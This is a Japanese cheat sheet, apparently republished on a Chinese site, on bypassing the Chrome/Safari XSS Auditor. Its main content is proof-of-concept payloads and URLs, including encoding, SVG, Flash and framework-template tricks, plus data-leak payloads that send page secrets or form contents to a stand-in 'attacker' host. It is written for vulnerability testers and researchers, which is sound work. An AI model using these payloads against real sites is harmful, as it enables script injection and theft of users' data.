内容简介:Browser's XSS Filter Bypass Cheat Sheet
XSS Auditor、XSSフィルターのバイパスについてまとめたページです。Chrome/Safari、IE11/Edgeの最新版で動くものが掲載対象です。 あなたが脆弱性を診断する立場の人なら、攻撃可能であることを説得力を持って証明するために、あなたがセキュリティ研究者なら、更なるバイパスの発見にお役立てください。 掲載しているのは、一般的な状況でバイパスできるものです。ここに方法が載っていなくても、実際の場面で悪用できないと決まった訳ではありません。バイパスできるかどうかにかかわらず、必ず根本的なXSS対策を行うことをお勧めします。
目次
- IE/EdgeのXSSフィルター
XSS Auditor
遮断対象でないもの
初めから保護が提供されていない文脈では、特別な細工なしにスクリプトを実行できる。
文字列リテラルで起こるXSS
https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//
<script>var q="";alert(1)//"</script>
URL単独で成立するXSS(入力値が直接aタグのhref部分に入る場合など)
https://vulnerabledoma.in/bypass/link?q=javascript:alert(1)
<a href="javascript:alert(1)">Link</a>
2つ以上の注入ポイントがある場合
(2つ以上で起こるかなりのケースを遮断できているようにみえるが、過去に報告されたケース( #96616 #403636 )でWontFixになっていることから、遮断対象でない方に分類。)
https://vulnerabledoma.in/bypass/text?type=2&q=%60-alert(1)%3C/script%3E%3Cscript%3E%60
<div>`-alert(1)</script><script>`</div> <div>`-alert(1)</script><script>`</div>
文字列の操作がある場合
一部の文字列が削除されたり置換されるとき、その文字列を間に置くと遮断できない。
削除される場合
https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscript%3Enload=alert(1)%3E
<svg o<script>nload=alert(1)> ↓ <svg onload=alert(1)>
置換される場合
https://vulnerabledoma.in/bypass/text?type=7&q=%3Cscript%3E/%26/-alert(1)%3C/script%3E
<script>/&/-alert(1)</script> ↓ <script>/&/-alert(1)</script>
リクエスト文字列を document.write()
するもの以外のDOM based XSS
https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E
<body> <script> hash=location.hash.slice(1); document.body.innerHTML=decodeURIComponent(hash); </script> </body>
https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)
<script> location.href=decodeURIComponent(location.hash.slice(1)); </script>
これ以下はスクリプトの実行には至らないが、記述が許容されており、ある程度攻撃に利用できる可能性を持つもの。
http(s):リンクの作成
<a href=https://attacker/>Session expired. Please login again.</a>
外部にリクエストを送信できるタグ
片方を閉じない引用符を使うなどして、画像などのリクエストに秘密情報を含むことができる場合がある。
https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=
<p><img src="https://attacker/?data=</p> <p>This is a secret text.</p> <p id="x">AAA</p>
任意のCSSの記述
ページの見た目を偽装することだけでなく、同じページに機密情報を含んでいる場合、CSSのみを使って情報を取得できる可能性がある。詳しくはURLを参照。
参考URL:
- http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppt
- http://masatokinugawa.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
http://vulnerabledoma.in/bypass/text?q=%3Cstyle%3E@import%20%27//attacker/test.css%27%3C/style%3E
<style>@import '//attacker/test.css'</style>
https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=stylesheet%20href=//attaker/test.css%3E
<link rel=stylesheet href=//attaker/test.css>
バイパス
<object> と <param name=url/code> の利用(Chromeのみ)
攻撃可能条件:
- 任意のタグが書けるXSSがある
- ターゲットの環境でFlashが利用できる
参考URL:
PoC:
<object allowscriptaccess=always><param name=url value=https://l0.cm/xss.swf>
<object allowscriptaccess=always><param name=code value=https://l0.cm/xss.swf>
SVGアニメーションのvalues属性の利用
攻撃可能条件:
- 任意のタグが書けるXSSがある
参考URL:
PoC(Chrome):
https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Canimate%20href=%23x%20attributeName=href%20values=%26%23x3000%3Bjavascript:alert(1)%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E%3C/a%3E
<svg><animate href=#x attributeName=href values= javascript:alert(1) /><a id=x><rect width=100 height=100 /></a>
PoC(Safari):
https://vulnerabledoma.in/char_test?body=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Canimate%20xlink:href=%23x%20attributeName=%22xlink:href%22%20values=%22%26%23x3000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E%3C/a%3E
<svg xmlns:xlink=http://www.w3.org/1999/xlink><animate xlink:href=#x attributeName="xlink:href" values=" javascript:alert(1)" /><a id=x><rect width=100 height=100 /></a>
Flashとbaseタグの利用(Safariのみ)
攻撃可能条件:
- 任意のタグが書けるXSSがある
-
直後に空白文字がこないか、それ以降に
'"
がある - ターゲットの環境でFlashが利用できる
参考URL:
PoC:
(直後に空白文字がない場合) https://vulnerabledoma.in/bypass/text?type=3&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
(直後に空白文字がある場合) https://vulnerabledoma.in/bypass/text?type=4&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/
<div> <embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/ </div><div id="x"></div>
ISO-2022-JPのエスケープシーケンスの利用
攻撃可能条件:
- 任意のタグが書けるXSSがある
- ページに文字コード指定がない
補足:
ISO-2022-JPのHTML中において、 [0x1B](B
、 [0x1B](H
、 [0x1B](J
というバイト列は無視される。これを反応文字列の間に挟むことでバイパスできる。また、Chrome/Safariでは、 [0x1B]$@[0x0A]
といったバイト列は [0x0A]
と同じ扱いとなるが、XSS Auditorはうまく解釈できずバイパスが起きる。
参考URL:
PoC:
- http://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Csvg%20o%1B(Bnload=alert(1)%3E
- http://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Csvg%20o%1B(Hnload=alert(1)%3E
- http://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Csvg%20o%1B(Jnload=alert(1)%3E
<meta charset=iso-2022-jp><svg o[0x1B](Bnload=alert(1)>
- https://vulnerabledoma.in/char_test?body=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B$@%0A%3C/script%3E
- https://vulnerabledoma.in/char_test?body=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B$B%0A%3C/script%3E
- https://vulnerabledoma.in/char_test?body=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B(I%0A%3C/script%3E
- https://vulnerabledoma.in/char_test?body=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B$@%0D%3C/script%3E
<meta charset=iso-2022-jp><script>alert(1)[0x1B]$@[0x0A]</script>
リンクと半端なbaseタグの利用
- 任意のタグが書けるXSSがある
- 直後に空白文字がある
-
それ以降に
'"
がある
PoC:
https://vulnerabledoma.in/bypass/text?type=4&q=%3Ca%20href=/**/alert(1)%3EXSS%3C/a%3E%3Cbase%20href=%22javascript:\
<div> <a href=/**/alert(1)>XSS</a><base href="javascript:\ </div><div id="x"></div>
同一ドメインのリソースの利用
XSS Auditorはクエリを持たない同一ドメインのリソースのロードを遮断しない。同一ドメインに攻撃に必要なリソースを配置できた場合、いくつかのケースでバイパスが可能になる。
パスにXSSがあるケース(Chromeのみ)
攻撃可能条件:
- 任意のタグが書けるXSSがパスにある
- そのページの表示にクエリを必要としない
PoC:
PATH_INFO:/<link rel=import href="/bypass/path/<script>alert(1)</script>">
ファイルのアップロード機能
攻撃可能条件:
- 任意のタグが書けるXSSがある
- 同じオリジンにユーザーがアップロードしたファイルをホストしている
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E
<script src=/bypass/usercontent/xss.js></script>
(Chromeのみ) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/usercontent/icon.jpg%3E
<link rel=import href=/bypass/usercontent/icon.jpg>
Flashと flashvars
の利用
攻撃可能条件:
- 任意のタグが書けるXSSがある
-
同じオリジンに
ExnternalInterface.call()
にパラメータ文字列を未エスケープで渡しているFlashがある - ターゲットの環境でFlashが利用できる
補足:
flashvars
属性を使えば、直接クエリにFlashのパラメータを与えなくても、パラメータ渡しできる。(= Flash側で、直接Flashを開くことによるXSSの対策としてURLからのパラメータ渡しが制限されている場合でも flashvars
で渡すことができる。) なお、 Content-Security-Policy: default-src 'self'
のようなCSPがある時などに、CSPのバイパスにも利用できる。
PoC:
<embed name=a flashvars='autoplay=true&file="})\")-(alert=alert(1)))}catch(e){}//' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>
ActionScript:
ExternalInterface.call("setTimeout", ExternalInterface.objectID + '_event' + "('" + eventName + "'," + eventValues + ")", 0);
Flashの ExternalInterface.objectID
と ExternalInterface.call()
の利用
攻撃可能条件:
- 任意のタグが書けるXSSがある
-
同じオリジンに
ExternalInterface.objectID
がExternalInterface.call()
に渡されているFlashがある - ターゲットの環境でFlashが利用できる
補足:
ExternalInterface.objectID
は埋め込みに利用されたタグのname属性の値が設定されるプロパティであり、単独ではXSSできないが、バイパスに限っては利用できる。なお、 Content-Security-Policy: default-src 'self'
のようなCSPの制限がある時などに、CSPのバイパスにも利用できる。
PoC:
<embed name='alert(1)-' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>
ActionScript:
ExternalInterface.call(ExternalInterface.objectID + '_init');
Angularの利用
攻撃可能条件:
- 任意のタグが書けるXSSがある
- 同じオリジン上に、Angularをホストしているか、CORSに対応したCDNからAngularをロードしているページがある
補足:
Angularはng-appという属性を持つタグ内で{{}}で囲まれたテンプレートを展開しようとする。テンプレートはスクリプトを実行できる。
参考URL:
PoC:
<script src="/js/angular1.6.4.min.js"></script><p ng-app>{{constructor.constructor('alert(1)')()}}
同じオリジン上に、CORSに対応したCDNからAngularをロードしているページがあれば、HTML Importsから間接的にロードすることで外部オリジンのリソースでもロードできる。
<link rel=import href=angular.html><p ng-app>{{constructor.constructor('alert(1)')()}}
Vue.js の利用
- 任意のタグが書けるXSSがある
- 同じオリジン上に、Vue.jsをホストしているか、CORSに対応したCDNからロードしているページがある
- 細工したタグに対してテンプレートの展開を実行できるスクリプトがそのページまたは同じオリジン上に存在する
PoC:
<link rel=import href=/bypass/vue.html><div id=app>{{constructor.constructor('alert(1)')()}}
jQueryの利用
攻撃可能条件:
- 任意のタグが書けるXSSがある
- 同じオリジン上に、jQueryをホストしているか、CORSに対応したCDNからjQueryをロードしているページがある
- 細工したformタグに対してjQueryの追加系関数を実行できるスクリプトがそのページまたは同じオリジン上に存在する
補足:
jQueryの追加系関数とは、 after
, before
, prepend
, append
, html
, replaceWith
, wrap
, wrapAll
, insertBefore
, insertAfter
, prependTo
, appendTo
などのこと。 ownerDocument
というname属性を持ったフォーム部品を使うことで、 Node.ownerDocument
の参照先を誤解させ、本来スクリプトを実行させない場面で実行してしまう(このような手法は DOM Clobbering
という名で知られる)。さらに、実行前にスクリプトブロックの <!--
を 削除する処理がある
ことと、Auditorはコメントしか含まないスクリプトブロックを遮断しないことが組み合わさってバイパスが起こっている。
参考URL:
PoC:
<!DOCTYPE html> <html> <head> <script src="/js/jquery-3.2.1.min.js"></script> <script> $(document).ready(function(){ // code taken from http://api.jquery.com/after/ $( ".container" ).after( $( ".child" ) ); }); </script> </head> <body> <!-- XSS --> <form class=child><input name=ownerDocument><script><!--alert(1)</script></form> <!-- XSS --> <p class="container"></p> </body> <!-- Inspired by @sirdarckcat CSP bypass trick: https://sirdarckcat.github.io/csp/jquery.html --> </html>
<link rel=import href=/bypass/jquery.html><p class=container></p><form class=child><input name=ownerDocument><script><!--alert(1)</script></form>
underscore.jsの利用
攻撃可能条件:
- 任意のタグが書けるXSSがある
- 同じオリジン上に、underscore.jsをホストしているか、CORSに対応したCDNからそれらをロードしているページがある
- 細工したscriptタグに対してテンプレートの展開を実行できるスクリプトがそのページまたは同じオリジン上に存在する
PoC:
<link rel=import href=/bypass/underscore.html><script id=template>//<%alert`1`%></script>
JSXTransformer/babel-standaloneなどのJSX変換スクリプトの利用
攻撃可能条件:
- 任意のタグが書けるXSSがある
- 同じオリジン上に、JSXTransformer.jsなどのJSX変換スクリプトをホストしているか、CORSに対応したCDNからそれらをロードしているページがある
補足:
変換スクリプトがSVGのスクリプトブロックをHTMLのスクリプトブロックと同じようにパースしていることを利用。本来は実行されない <!--
から -->
に囲まれたコメント部分がスクリプトとして評価される。
PoC:
<link rel=import href=/bypass/babel-standalone.html><svg><script type=text/jsx>//<!-- alert(1)//--></svg><script>0</script>
半端なformタグの利用(情報の取得のみ)
攻撃可能条件:
- 任意のタグが書けるXSSがある
- formタグがある
- 秘密情報を含む既存のフォーム内容の送信先になれる位置に新たなformタグを置ける
参考URL:
PoC:
(フォーム内にいる場合) https://vulnerabledoma.in/bypass/form?q=%22%3E%3C/form%3E%3Cform%20action=https://attacker/
<form action="form"> <input type="hidden" name="q" value=""></form><form action=https://attacker/"> <input type="hidden" name="q2" value=""> <input type="hidden" name="secret" value="a09d3ef0"> <input type="submit"> </form>
(フォーム外にいる場合) https://vulnerabledoma.in/bypass/form2?q=%3Cbutton%20form=f%3ECLICK%3Cform%20id=f%20action=https://attacker/
<div><button form=f>CLICK<form id=f action=https://attacker/</div> <form action="form2"> <input type="hidden" name="secret" value="a09d3ef0"> </form>
過去のバイパス
WIP
IE/EdgeのXSSフィルター
WIP
遮断対象でないもの
バイパス
過去のバイパス
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。